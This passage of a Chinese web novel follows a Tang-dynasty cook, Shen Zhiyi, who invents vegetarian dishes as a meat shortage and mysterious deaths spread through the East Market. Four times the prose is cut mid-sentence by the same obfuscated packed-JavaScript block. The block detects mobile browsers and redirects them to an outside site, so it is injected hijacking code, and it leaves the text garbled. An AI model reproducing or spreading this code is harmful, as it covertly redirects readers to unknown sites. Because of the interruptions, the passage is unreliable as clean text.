她以此“素肉”为主料，重新烹制“素雪凝脂”。 将面筋条用素油略煎，加入香菇、笋片、木耳等同炒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16475243|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，以酱油、饴糖、香料粉调味，最后勾薄芡，撒上芝麻。成菜色泽红亮，口感韧滑，滋味鲜香浓郁，几可乱真。 她又用此法做了“素鸡丝凉拌”、“仿炙面筋串”等小菜，一同推出。 新品一经推出，立刻受到了更大的欢迎。 尤其是那些平日便茹素或崇尚清淡的文人雅士、闺阁女子，对此赞不绝口，称其“以假乱真，清口不腻，别有风味”。 甚至一些肉食者尝鲜后，也觉新奇可口。 “素雪凝脂”之名，渐渐在西市传开，竟成了沈记食肆另一块招牌，每日也能带来不少稳定进项。 沈知意心中清楚，这终究是权宜之计。 食肆的根本，仍在于肉、面、米等主食材的稳定供应。 东市牲口市的乱局一日不平，她的“胡风炙羊排”便一日难以恢复，其他肉类的供应也随时可能受到波及。 这日，阿努又带来消息，脸色比上次更差。 “六娘，不好了！东市那边好像闹得更凶了！不只是羊肉，连猪肉、鸡鸭也受了影响！价钱飞涨不说，好些肉铺都关门歇业了！说是、说是市署要严查什么‘瘟病’源头，所有牲□□易都要暂停几日！” 瘟病源头？严查？沈知意的心彻底沉入谷底。 这分明是借题发挥，要将事态扩大，彻底搅乱西市的肉食供应！ 对方这是要赶尽杀绝！ 她站在灶台前，看着锅中翻滚的素高汤，心中寒意更甚。 素菜虽能暂缓危机，但若长久无肉，食肆必将流失大量主顾，生意难以为继。 必须尽快找到稳定可靠的肉食来源！或者彻底破解东市那边的困局！ 可她一介孤女，如何能与盘踞东市、勾结胥吏的虎爷抗衡？ 夜色深沉，她望着窗外漆黑的夜空，手中无意识地摩挲着那个盛放神秘香料的陶罐。 艾山大哥……你究竟知道多少？这香料，又到底藏着怎样的秘密？ 31. 第 31 章 肉价飞涨，货源不稳，连带着鸡鸭禽蛋也受到影响。 福伯每日采买归来，脸色都愈发愁苦，带回的消息也一次比一次令人心惊。 “六娘，今日猪肉又涨了三十文！那屠户老周偷偷跟我说，东市那边查得紧，好些猪栏都被封了，说是疑似瘟病源头！这、这分明是有人故意搅混水啊！” “六娘，不好了！鸡鸭贩子也说货源紧张，明日怕是连鸡蛋都要限量了！” “六娘……” 坏消息接踵而至。 沈知意虽以“素雪凝脂”暂缓了羊肉断供的危机，但食肆中豚肉臊子面、鸡丝汤饼等主力菜品皆离不开肉食。 长此以往，食肆生意必将大受影响。 必须另辟蹊径，寻找更多不依赖肉食，却能吸引食客的新品。 时已入深冬，天气干冷。 食客们虽喜热汤热面暖身，但吃多了也难免觉得油腻燥热。 沈知意回想起前世夏日里清爽开胃的凉面，心中忽有一动。 唐代已有“冷淘面”，乃是将煮熟的面条过冷水降温后拌食，多在夏季食用，冬日罕见。 但若加以改良，使其更适合冬季口味呢？ 她取来新磨的细白面，加入少许盐和鸡蛋清，揉成极光滑的面团，反复擀压，切成细如发丝的“银丝面”。 锅中烧开水，下面条快速煮熟，立刻捞出，并非浸入冷水，而是摊在刷了薄油的竹匾上，置于通风处，借冬日干冷的空气将其迅速吹凉、吹干表面水分，使其口感更为爽利劲道，却不至冰牙。 关键的调味来了。 冬日不宜过于生冷，需得温润开胃。 她取小锅熬制酱汁：以优质酱油为底，加入少许饴糖、姜汁、蒜末、炒香的芝麻碎，最后滴入几滴提香的开胃果醋，小火慢熬至汤汁微稠，香气融合。 将吹凉的银丝面盛入碗中，浇上温热的酱汁，再铺上焯熟后切丝的菘菜心、嫩豆苗、摊薄的鸡蛋皮丝，最后撒上炸得酥香的黄豆和芫荽末。 一碗“温拌银丝冷淘”便成了。 面条爽滑筋道，酱汁咸鲜微甜，带着姜蒜的辛香和芝麻的焦香，既开胃又不失温润，配菜清新爽口。 在这油腻厚重的冬日饮食中，反倒显得别具一格。 “温拌银丝冷淘，二十文一碗。” 新牌挂出。 起初，食客们见是“冷淘”，皆有些犹豫。 冬日吃冷面？ 但耐不住那诱人的酱香和清爽的卖相，有胆大者尝试了一碗，顿时眼前一亮。 “咦？这面竟是温的？酱汁香浓，面条爽滑！好吃！解腻！” “冬日里吃上这么一碗，肠胃倒是舒坦不少！” 新颖的口感和健康的寓意，很快吸引了一批吃腻了油腻的食客，尤其是几位注重养生的老者和一些女客，对此颇为青睐。 “温拌冷淘”竟也成了冬日里一抹别致的风景，每日也能卖出二三十碗，缓解了部分肉食短缺的压力。 然而，这依旧未能从根本上解决问题。 肉价高昂且不稳的局面仍在持续。 这日，沈知意正在调制冷淘酱汁，忽见昨日那位在暖寒会上尝过“雪霞羹”后赞不绝口的波斯老商人，又踱步进了食肆。 他依旧穿着那身显眼的织锦长袍，须发皆白，面容慈祥，一双深陷的蓝眼睛闪烁着好奇的光芒。 “小娘子，安好。” 老商人操着生硬的官话，笑呵呵地行礼。 “老夫循味而来，今日可还有那‘红云白雪’的羹汤？” 沈知意连忙回礼：“老丈安好。‘雪霞羹’今日未曾制备，您若喜欢，民女可即刻为您做一碗。” “甚好！甚好！” 老商人抚掌笑道，自顾自在桌边坐下。 “那日尝了姑娘的羹，清甜滑嫩，色泽动人，让老夫想起了故乡的一种甜点，也是用石榴和乳酪所制……” 沈知意心中一动，一边手脚麻利地准备食材，一边状似无意地请教：“老丈的故乡也善用石榴入馔？不知可还有其它巧妙吃法？” 老商人谈兴颇浓，捻须笑道：“我波斯故地，石榴乃是果中珍品。除了鲜食，榨汁酿酒、制酱入羹，皆是寻常。更有巧手厨娘，以石榴汁混合玫瑰露、坚果碎，凝冻成膏，名曰‘帕洛德’，晶莹剔透，甘美无比。只可惜……长安难觅新鲜石榴，更无那般清甜的玫瑰露了……” 石榴凝冻？玫瑰露？沈知意手中动作不停，心中却飞速盘算。 唐代已有利用淀粉或琼脂凝冻食物的技艺，称为“冻”或“膏”。 若她能以他物替代石榴和玫瑰…… 她目光扫过灶台角落那罐价格相对稳定、颜色鲜红的枸杞子和一小包珍贵的干红枣。 一个念头骤然闪现。 送走心满意足的老商人后，沈知意立刻让福伯去买来一些品相好的枸杞和红枣，又翻出之前熬制“金齑玉鲙”时剩下的少许透明芡粉。 她将枸杞和红枣分别洗净，枸杞用少量温水泡软，红枣则去核切碎，加水熬煮出深红浓郁的汁液，滤去渣滓。 在红汁中加入少许饴糖和之前熬梨膏剩下的秋梨汁增加清甜风味，再缓缓调入芡粉水，小火慢搅，直至汁液变得微微粘稠。 另取一小锅，将牛乳加入少许饴糖和芡粉，同样熬煮至微稠。 寻来几个干净的小碗，先倒入一层红色的枸杞红枣汁，待其稍稍凝结，再缓缓浇上一层白色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480192|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛乳浆，如此反复，形成红白相间的层次。 最后将碗坐入盛有冰镇井水的盆中，加速其凝固。 等待凝固的时间里，沈知意心中忐忑。 这不过是她根据老商人描述和现有材料的一次大胆尝试，成败难料。 约莫半个时辰后，她小心地将碗取出。 只见碗中红白二色已然凝固，层次分明，光滑细腻，微微颤动，宛如一方精美的玉雕。 她用竹签沿着碗壁划了一圈，将凝冻倒扣入盘中。 一块晶莹剔透、红白交织、宛如霞光与冰雪交融的“红玉白雪冻”便呈现在眼前。 她小心地切下一小块，送入口中。 口感滑嫩弹润，入口即化，枸杞红枣的甘甜与牛乳的醇香完美融合，清甜不腻，带着一丝隐约的果酸。 在这干燥的冬日里，显得格外润泽可口。 成功了！ 虽无石榴的艳红与玫瑰的异香，但这枸杞红枣的暖红与牛乳的洁白，别有一番中土风情，滋味更是毫不逊色！ “此物可名‘红玉白雪冻’”？ 沈知意心中欢喜，立刻将其列入食牌，定价二十五文一份，作为餐后甜点或清口小食推出。 新品上市，其晶莹剔透的卖相和清甜润泽的口感，立刻吸引了众多食客，尤其是女性和孩童的喜爱，甚至比“温拌冷淘”更受欢迎。 虽是小食，利润却不错，且完全不依赖肉食，原料易得，制作也相对简便。 靠着“素雪凝脂”、“温拌冷淘”和“红玉白雪冻”这几样新品的支撑，沈记食肆总算在肉价飞涨的风波中勉强站稳了脚跟，每日进项虽不如前，却也能维持开销，略有盈余。 然而，沈知意心中的不安却与日俱增。 东市牲口市的乱局毫无平息的迹象，反而愈演愈烈。 虎爷等人的阴影如同跗骨之蛆，时刻提醒着她，眼前的平静只是假象。 这日傍晚，阿努再次匆匆跑来，神色惊慌，将她拉到角落，声音压得极低。 “六娘！不好了！我阿塔刚从东市回来……说、说那边……出人命了！一个不肯低价出货的老羊倌，昨夜被人发现死在自家棚里……官府都惊动了！现在东市彻底封了！谁都进不去出不来！这、这可怎么办啊？！” 出人命了？！ 沈知意只觉得一股寒气瞬间窜遍全身，手脚冰凉。 事情，终于还是闹到了最不可收拾的地步！ 虎爷他们竟然如此无法无天！ 东市彻底封锁，肉食供应将彻底断绝！ 西市诸多食肆酒楼，必将面临一场巨大的危机！ 而她这小小的沈记食肆，又能在这即将到来的风暴中支撑多久？ 32. 第32章 阿努带来的消息，如同腊月里最凛冽的一道寒风，瞬间将沈记食肆内勉强维持的暖意彻底冻结。 东市牲口市……死了人？老羊倌……不肯低价出货……官府封锁…… 每一个字都像冰锥，狠狠扎在沈知意的心上。她只觉得一股寒气从脚底板直冲天灵盖，四肢百骸都僵住了，连呼吸都滞涩起来。 “死……死了人？” 福伯在一旁听得真切，老脸瞬间煞白如纸，手里的抹布“啪嗒”掉进洗菜盆里，溅起一片水花。 他嘴唇哆嗦着，几乎站不稳，“怎、怎么会……光天化日……他们、他们怎么敢……” 邹娘子更是吓得浑身一软，瘫坐在凳子上，死死搂住懵懂不知事的阿宝，眼泪无声地往下掉，整个人抖得如同风中残叶。 大牛和栓子两个年轻小伙也傻了眼，面面相觑，脸上满是惊骇与无措。 食肆内死一般寂静，只有灶膛里柴火偶尔发出的噼啪声，衬得这寂静愈发令人窒息。 东市封锁，牲口市彻底瘫痪。 这意味着什么，不言而喻。 莫说羊肉，恐怕未来很长一段时间内，西市所有肉铺都将无肉可卖！ 猪肉、鸡肉、鸭肉……一切肉食的来源都将被彻底掐断！ 这对于以豚肉臊子面、胡麻髓饼、炙肉串、乃至刚刚打响名头的“胡风炙羊排”为支柱的沈记食肆而言，无疑是灭顶之灾！ “素雪凝脂”和“温拌冷淘”虽能暂缓一二，但终究替代不了肉食带来的丰厚利润和稳定客源。 长此以往，食肆收入必将锐减，能否维持日常开销都成问题。 更可怕的是，对方的手段如此狠辣决绝，竟闹出了人命！ 这已远超商业倾轧的范畴，而是赤裸裸的无法无天！ 虎爷这伙人，根本就是一群亡命之徒！ “六娘……咱们、咱们怎么办啊？” 福伯带着哭腔，声音嘶哑，满是绝望。 “没肉……这店还怎么开下去啊……” 沈知意强迫自己从恐惧混乱中挣脱出来，她勉强保持着一丝清醒。 不能乱！此刻绝不能乱！ 她深吸一口气，声音因紧绷而显得有些沙哑，却异常清晰。 “慌什么！天还没塌下来！没肉，就想办法做没肉的生意！活人还能让尿憋死？” 她目光扫过惊惶失措的众人，语气斩钉截铁：“从明日起，所有含肉的菜品，暂停售卖。‘胡风炙羊排’、炙肉串下牌。豚肉臊子面……改为‘素臊子面’，用香菇、笋丁、豆干碎炒制臊子！价格下调五文。” “福伯，明日采买，重点采购各类豆制品、面筋、香菇、木耳、笋干、时蔬！鸡蛋若价高，便少买或不买！” “邹娘子，日后洗面筋、制豆干的活计要加重，务必跟上用量！” “大牛，栓子，你们明日也多来帮忙，工钱照旧！” 她一连串的命令下去，条理清晰，不容置疑，总算让慌乱的气氛稍稍稳定下来。 福伯抹了把冷汗，连连点头：“哎！哎！老仆明白！明白！” 邹娘子也止住哭泣，用力点头，将阿宝搂得更紧。 大牛和栓子也赶紧应声。 然而，每个人脸上那浓重的忧色，却丝毫未减。 谁都知道，这只是饮鸩止渴。 素菜利润薄，耗工多，即便能维持营业，收入也必将大幅缩水。 这小小的食肆，还能撑多久？ 接下来的几日，西市果然一片愁云惨淡。 肉铺纷纷关门歇业，仅剩的一两家也是门可罗雀，肉价高得离谱，且肉质堪忧。 各家食肆酒楼无不叫苦连天，纷纷挂出调整菜牌的告示，素菜比例大幅增加。 沈记食肆也不例外。 “素臊子面”勉强推出，虽沈知意极力调味，用香菇的浓香和笋丁的脆嫩模拟肉臊口感，但老主顾们吃惯了真材实料的肉臊，对这“山寨”版本终究兴趣缺缺，销量大不如前。 “素雪凝脂”和“温拌冷淘”虽吸引了一些尝鲜客，但毕竟受众有限，难以支撑整个食肆的运营。 每日的进项肉眼可见地减少，钱匣变得轻飘飘的。 更雪上加霜的是，或许是因肉食短缺，人心惶惶，连带着其他食材的价格也开始波动上扬。 豆子、香菇、甚至菘菜萝卜，都比往日贵了些许。 成本在增加，收入在减少，此消彼长，压力骤增。 福伯每日对着账本唉声叹气，邹娘子干活时也常走神，眉宇间笼罩着化不开的愁云。 连偶尔来店的熟客，闲聊时也多是抱怨肉贵难买，气氛低迷。 这日午后，食客稀疏。 沈知意正低头核算着日益窘迫的账目，忽听门口传来一个熟悉又令人厌恶的油滑声音： “哟！沈小娘子，生意可好啊？啧啧，这店里……怎么闻着寡淡了许多？往日那肉香扑鼻的劲儿哪去了？” 沈知意抬头，只见张胖子揣着手，晃着肥胖的身躯，慢悠悠地踱进店来，脸上堆着假笑，一双小眼睛里却满是幸灾乐祸和毫不掩饰的恶意。 他身后还跟着两个吊儿郎当的帮闲。 店内仅有的两桌食客见状，纷纷皱眉侧目。 福伯脸色一变，上前一步想要阻拦：“张掌柜，你……” “哎，老福头，别急啊！” 张胖子推开福伯，径直走到沈知意面前，阴阳怪气道？ “小娘子，听说东市那边……啧啧，惨呐！好好的羊倌说没就没了！这肉啊，怕是往后有段日子都吃不上了吧？嘿嘿，你那什么炙羊排、肉臊面，还卖得动吗？” 他声音不大，却足以让店内所有人都听得清清楚楚。 沈知意放下账本，面无表情地看着他，心中怒火翻腾，却强自压下，冷声道：“张掌柜今日来，若是用饭，本店欢迎。若是来说这些不相干的，恕不招待。” “吃饭？” 张胖子嗤笑一声，夸张地吸了吸鼻子。 “就这些清汤寡水的玩意儿？喂兔子呢？老子可吃不惯！” 他凑近一步，压低声音，语气却愈发阴毒。 “小娘子，别硬撑了。没肉，你这破店还能开几天？识相点，早点关了门，把地方让出来，或许还能留点本钱滚蛋。不然……哼哼，到时候赔得裤衩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504131|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不剩，可别怪街坊没提醒你！” “你！”福伯气得浑身发抖。 邹娘子吓得往后缩了缩。 沈知意却猛地站起身，目光如冰刃般直刺张胖子。 “张掌柜，我的店开不开，不劳你费心。有这闲工夫，不如想想怎么把你那硌牙的蒸饼做得软和些，或许还能多招揽几个客人。送客！” 她声音不大，却带着一股不容置疑的冷厉。 张胖子被她的目光慑得一滞，随即恼羞成怒，胖脸涨得通红。 “好！好你个牙尖嘴利的臭丫头！给脸不要脸！咱们走着瞧！看你还能嚣张几天！” 他狠狠啐了一口，带着帮闲，骂骂咧咧地摔门而去。 店内一片死寂。 留下的食客面面相觑，匆匆吃完，放下钱便低头离开了。 福伯老泪纵横，捶着胸口：“欺人太甚！欺人太甚啊！” 邹娘子无声地抹着眼泪。 沈知意站在原地，挺直的脊背微微颤抖，方才强撑的镇定几乎耗尽了她所有力气。 张胖子的嚣张，东市的命案，日益窘迫的营生……如同一座座大山，压得她几乎喘不过气。 她缓缓坐回凳子上，目光落在窗外。 天色灰蒙蒙的，又开始飘起了细雪，寒意刺骨。 难道……真的走到绝路了吗？ 就在这时，店门吱呀一声，又被推开了。 众人惊弓之鸟般望去，却见进来的是浆饮铺的阿婆。 她挎着个篮子，脸上带着忧色，快步走到沈知意面前，低声道：“六娘，莫理那张胖子，他就是条疯狗！方才老身见他在市署那边，跟王录事嘀嘀咕咕半天，准没好事！你可千万小心！” 王录事？沈知意心中一凛。 腊八节那场构陷，王录事便是马前卒。 如今东市出了命案，局势混乱，他们又想趁机做什么？ 阿婆又从篮子里拿出几个还温热的蒸饼，塞到沈知意手里：“家里新蒸的，你们凑合吃点。这光景……都不容易。挺住啊，六娘！” 看着阿婆关切的眼神和那冒着热气的蒸饼，沈知意鼻尖一酸，险些掉下泪来。 这市井之中，有张胖子那般落井下石的小人，却也有阿婆、阿努、铁匠张大叔这些雪中送炭的温暖。 她用力点点头，接过蒸饼：“谢谢阿婆。” 送走阿婆，沈知意看着手中粗糙却温暖的饼子，心中那股几乎被压垮的绝望，忽然又被一丝微弱却不甘熄灭的火苗取代。 不能认输！绝不能认输！ 她重新拿起账本，目光变得锐利起来。 肉食断绝，固然是危机，但或许……也是逼迫她彻底转型、开辟新路的契机！ 素菜……面点……小吃……定然还有未被发掘的潜力！ 她脑中飞速盘算着现有的食材和可能的新品，目光再次落在那罐艾山留下的神秘香料上。 这“卡瓦辛”……除了烹肉，是否还能有别的妙用？艾山留下它，绝不会是无的放矢。 夜色渐深，风雪更急。 沈记食肆的灯火在寒风中摇曳，却顽强地亮着，不肯熄灭。 33. 第33章 东市牲口市的人命案如同投入滚油的一瓢冰水，瞬间在西市炸开了锅。 肉价一夜之间飙升到令人瞠目的地步，且有钱无市。 往日喧嚣的肉铺区变得门可罗雀，仅剩的几家也挂出了“售罄”或“盘点”的木牌，透着几分萧瑟与诡异。 沈记食肆内，气氛更是凝重得几乎滴出水来。 “六娘……今日连、连豆油都涨了五文……” 福伯佝偻着腰，将空了大半的菜篮放下，声音嘶哑，脸上每一道皱纹都刻满了愁苦。 “米面也贵了……这、这日子可怎么过啊……” 邹娘子默默地将最后一点面筋洗好，沥干水分，动作迟缓，眉宇间笼罩着一层驱不散的阴霾。 连角落里的阿宝似乎也感受到了压抑的气氛，比往日更加安静，只睁着一双黑白分明的大眼，怯生生地望着大人。 沈知意强迫自己不去看那几乎见底的钱匣，目光落在灶台上那罐艾山留下的神秘香料——“卡瓦辛”上。 阿努父亲的话再次在她脑中回响：“……大雪山部落的秘方……祭祀所用……能祛寒辟邪，味道极霸道……” 祭祀所用……祛寒辟邪……味道霸道…… 这香料气味如此独特强烈，是否真对某些虫蚁蛇鼠，乃至不洁之物有特殊的驱避或吸引作用？艾山特意留下它，难道仅仅是为了让她烹肉？ 不，绝不可能。艾山行事看似随意，实则必有深意。 他留下香料，又警告她莫近东市牲口市，这两者之间，定有关联！ 东市牲口市的乱局始于压价搅局，继而出现牲口中毒，最后闹出人命…… 这一连串事件，是否并非简单的商业倾轧，而是与这神秘的“卡瓦辛”有关？ 或者对方的目的，根本就是为了某种需要大量牲口，甚至活物的不可告人的勾当？ 这个念头让她不寒而栗。 她必须验证一下！ 她取来一小撮“卡瓦辛”粉末，用油纸仔细包好，又让福伯去后院捉了一只平日啄食谷粒的肥硕老鼠关入一个小铁笼中。 夜深人静，打烊之后。 沈知意将铁笼置于后院角落，在约莫一丈外的地方，将那小撮“卡瓦辛”粉末轻轻撒在地上，形成一个不大的圆圈。 起初，那老鼠在笼中焦躁地窜动，吱吱乱叫。 然而，当夜风将一丝极其微弱的香料气味吹送过去时，那老鼠猛地一僵，随即发出极其尖锐凄厉的嘶叫，疯狂地撞击笼壁，试图远离那气味传来的方向，显得恐惧至极！ 沈知意心中剧震！这香料竟真对活物有如此强烈的驱避作用？！其效力之霸道，远超寻常驱虫药草！ 她立刻将香料扫净，又将老鼠笼挪远。 过了好一会儿，那老鼠才渐渐安静下来，缩在角落瑟瑟发抖。 实验结果让她手脚冰凉。这“卡瓦辛”绝非寻常烹饪香料！其真正用途，恐怕远非如此！艾山留下它，或许真是在暗示东市乱局的根源，给她一件防身之物？ 然而，即便猜到了些许端倪，面对虎爷那伙无法无天的亡命之徒，她一介孤女，又能做些什么？报官？无凭无据，反而可能打草惊蛇，引来杀身之祸。 眼下最紧迫的，依旧是活下去。在肉食彻底断绝的困境中，找到一条生路。 “素雪凝脂”和“温拌冷淘”虽好，但终究替代不了肉食的丰腴口感和满足感，难以吸引那些习惯了肉食的老主顾。必须再做突破。 她想起前世吃过的素食仿荤菜，诸如“素鸡”、“素鸭”，其口感风味几可乱真。 也许可以尝试用豆制品和面筋，模仿出更接近肉食的口感和外形？ 目光再次落到那罐“卡瓦辛”上。既然此物香气如此霸道，若极微量使用，是否能在不暴露其特殊性的前提下，为素菜增添一种类似肉食的复杂风味，以假乱真？ 这个念头极其冒险。若用量稍过，其独特气味极易被识破，引来不必要的麻烦。但若成功，或能开辟一条新路。 她决定冒险一试。 取来今日新制的、口感最为紧实弹牙的面筋，将其撕成不规则的粗条，用酱油、饴糖、姜汁、少许素高汤粉腌制入味。另起油锅，将腌好的面筋条炸至表面微脆，内部仍保持韧劲。 最关键的一步：她取来极少量。几乎只有指甲尖挑那么一点的“卡瓦辛”粉末，混合入大量的常见孜然粉、花椒粉、五香粉中，搅拌均匀，制成特殊的“复合香料”。 锅中留底油，爆香姜蒜末，倒入炸好的面筋条，快速翻炒，烹入少许酒，再加入酱油、饴糖和少量水，小火煨烧片刻，让滋味渗透。 最后，撒入那精心调配的“复合香料”，快速颠勺，使每一根面筋条都均匀裹上香料，立刻出锅。 成菜色泽酱红油亮，面筋条形态粗犷，颇有几分手撕鹅肉或风干羊肉的质感。 浓郁的孜然花椒香气扑鼻而来，完美掩盖了那极其微量的“卡瓦辛”的异样气息。 只在咀嚼回味时，能感受到一丝难以言喻却令人食欲大开的复杂底味，极大地提升了素菜的层次感，几乎达到了以假乱真的效果。 “此物可称‘五香素鹅’。” 沈知意尝了一口，心中稍定。 成功了！风险与机遇并存。 “五香素鹅，三十五文一份。”新牌挂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511270|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出。 这日午市，一位往日极好羊肉的老主顾——那位常来的行商，进门便唉声叹气：“这鬼天气，肉也吃不上！嘴里淡出鸟来！小娘子，今日可有甚扎实管饱的？” 沈知意便推荐了“五香素鹅”。 那行商将信将疑地尝了一口，眼睛顿时瞪圆了，咀嚼了几下，啧啧称奇：“嘿！怪了！这玩意儿……吃着竟有几分嚼头！这香味……够劲！虽不是肉，倒也能解馋！不错不错！再来一盘！” 有了第一个吃螃蟹的人，很快便有人跟进尝试。 “五香素鹅”以其接近肉食的口感和霸道的香气，果然吸引了不少无肉不欢的食客，虽然价格不菲，但每日限量供应，竟也很快售罄，成为继“素雪凝脂”之后，又一款受欢迎的仿荤菜。 收入总算勉强维持住了，甚至略有回升。 沈知意稍稍松了口气，但对“卡瓦辛”的使用却愈发谨慎，每次只取极微量，且混合大量常见香料，绝不敢让人察觉异常。 然而她这头刚刚稳住阵脚，傍晚时分，阿努又心急火燎地跑了来，脸色苍白，一把将她拉到后院僻静处。 “六娘！不好了！” 阿努声音发颤，碧眼中满是惊恐。 “我、我阿塔说……东市那边封了两天，今早好像松了点，有官差进去了……结果、结果你猜怎么着？不止那老羊倌！那棚区角落里……又、又发现两具尸首！都是外乡来的羊贩子！死状……死状极惨！浑身发黑！官府现在彻底戒严了，说是……说是恶疾！会过人！所有接触过牲口市的人都要被拘起来查验！闹得人心惶惶！这、这根本不是买卖纠纷，是……是……” 她吓得说不下去，浑身发抖。 又死两人！死状发黑！恶疾传染？！ 沈知意如遭雷击，浑身血液都凉了半截！ 她猛地想起那夜老鼠对“卡瓦辛”粉末极度恐惧的反应…难道…难道那根本不是普通的斗殴或投毒…而是…… 一个极其可怕猜想出现在脑海。 她一把抓住阿努的手，声音因恐惧而绷紧：“阿努！你阿塔……可知那死状发黑，具体是何模样？身上……可有特殊的伤口或气味？” 阿努被她抓得生疼，吓得眼泪都快出来了，拼命摇头：“不、不知道……阿塔也是听人说的……现在谁敢靠近啊！六娘……我怕……咱们、咱们会不会……” 沈知意松开手，踉跄着后退一步，背脊重重撞在冰冷的墙壁上。 完了。 事情远比她想象的还要可怕百倍！ 这根本不是简单的商业倾轧或地痞寻仇！ 虎爷那伙人究竟在东市牲口市做了什么？！ 34. 第三十四章 阿努带来的消息，如同腊月里最刺骨的寒风，瞬间将沈知意心中残存的最后一丝侥幸彻底冻结。 又死两人！死状发黑！疑似恶疾传染！ 每一个字都像重锤，狠狠砸在她的心口，砸得她眼前发黑，几乎喘不过气。 她背靠着冰冷的墙壁，只觉得一股寒气从尾椎骨直冲天灵盖，四肢百骸都僵住了。 “死状发黑……浑身发黑……” 她喃喃重复着，脑海中不受控制地闪过那夜老鼠对“卡瓦辛”粉末极度恐惧疯狂撞笼的景象。 闪过艾山留下香料时那深不见底的眼神，闪过老商人提及此物乃“祭祀所用”、“祛寒辟邪”的话语…… 一个极其可怕的念头让她浑身汗毛倒竖——那根本不是什么恶疾！ 那极有可能是……毒！ 而且是某种极其罕见、症状诡异、可能与这神秘香料“卡瓦辛”有关的剧毒！ 虎爷那伙人，在东市牲口市做的，绝非简单的压价欺行，而是在进行某种需要大量活牲口，甚至……活人试验这种不可告人的勾当！ 那老羊倌和两个羊贩子，恐怕是撞破了什么被灭口，甚至成了试验的牺牲品。 官府所谓的“恶疾”、“传染”，恐怕是为了掩盖真相避免恐慌的托词，亦或是连官府中人也已被蒙蔽。 这个推测太过骇人听闻，让她手脚冰凉，心脏狂跳，几乎要冲出胸腔。 “六娘？六娘！你、你没事吧？” 阿努见她脸色惨白如纸，眼神直勾勾的，吓得连忙扶住她。 “你别吓我啊！” 沈知意猛地回过神，用力掐了一下掌心，刺痛感让她勉强维持住一丝清醒。 她深吸一口气，强迫自己冷静下来。 不能慌！此刻绝不能慌！ “我没事……” 她声音沙哑，抓住阿努的胳膊，力道大得几乎掐疼对方。 “阿努，你听着，此事绝非寻常！你立刻回去告诉你阿塔，近日绝不要再靠近东市，更不要与任何从东市出来的人接触！还有，此事切勿再对旁人提起，以免惹祸上身！” 阿努被她严肃至极的语气吓住了，碧眼中满是恐惧，连连点头。 “我、我知道了！我这就回去告诉阿塔！” 她不敢多留，转身慌慌张张地跑了。 送走阿努，沈知意独自站在冰冷寂静的后院，寒风卷着雪沫打在她脸上，她却感觉不到丝毫冷意。 她下意识地摸向怀中，那里贴身藏着一个更小的油纸包，里面是她分出的一小撮“卡瓦辛”粉末。 这原本是她以备不时之需的最后手段，此刻却觉得如同烫手的山芋。 这香料究竟是救命的稻草，还是索命的毒药？ 这一夜，沈知意彻夜未眠。 食肆打烊后，她将前后门窗反复检查了数遍，又让福伯和邹娘子带着阿宝睡在灶房旁的小间，自己则和衣躺在堂屋的条凳上，耳朵竖着，捕捉着窗外任何一丝可疑的声响。 每一次风声，每一次野猫跑过屋顶的轻响，都让她心惊肉跳。 她脑中反复回想着东市的乱局、诡异的死状、神秘的香料、虎爷的狠毒、张胖子的嚣张…… 这一切如同一团乱麻，却又隐隐指向某个令人不寒而栗的阴谋中心。 而她这小小的食肆，似乎阴差阳错地被卷入了风暴的边缘。 翌日，食肆照常开门，却笼罩在一片难以驱散的低气压中。 福伯和邹娘子显然也听说了东市的传闻，脸上忧色更重，做事都小心翼翼的，说话也压低了声音。 连偶尔上门的熟客，也多是匆匆吃完便走，少有谈笑，空气中弥漫着一种无形的紧张和恐惧。 “五香素鹅”依旧卖得不错，但沈知意制作时，对那“卡瓦辛”粉末的使用却愈发谨慎，几乎到了战战兢兢的地步。 每次只取发丝般细微的一丁点，混合在大量的孜然花椒中，生怕被人察觉出丝毫异常。 午后，天空又飘起了细雪，街道上行人稀少。沈知意正心神不宁地擦拭着柜台，忽见店门外停下了一辆毫不起眼的青篷小车。 车帘掀开，下来的竟是多日未见的苏晏清。 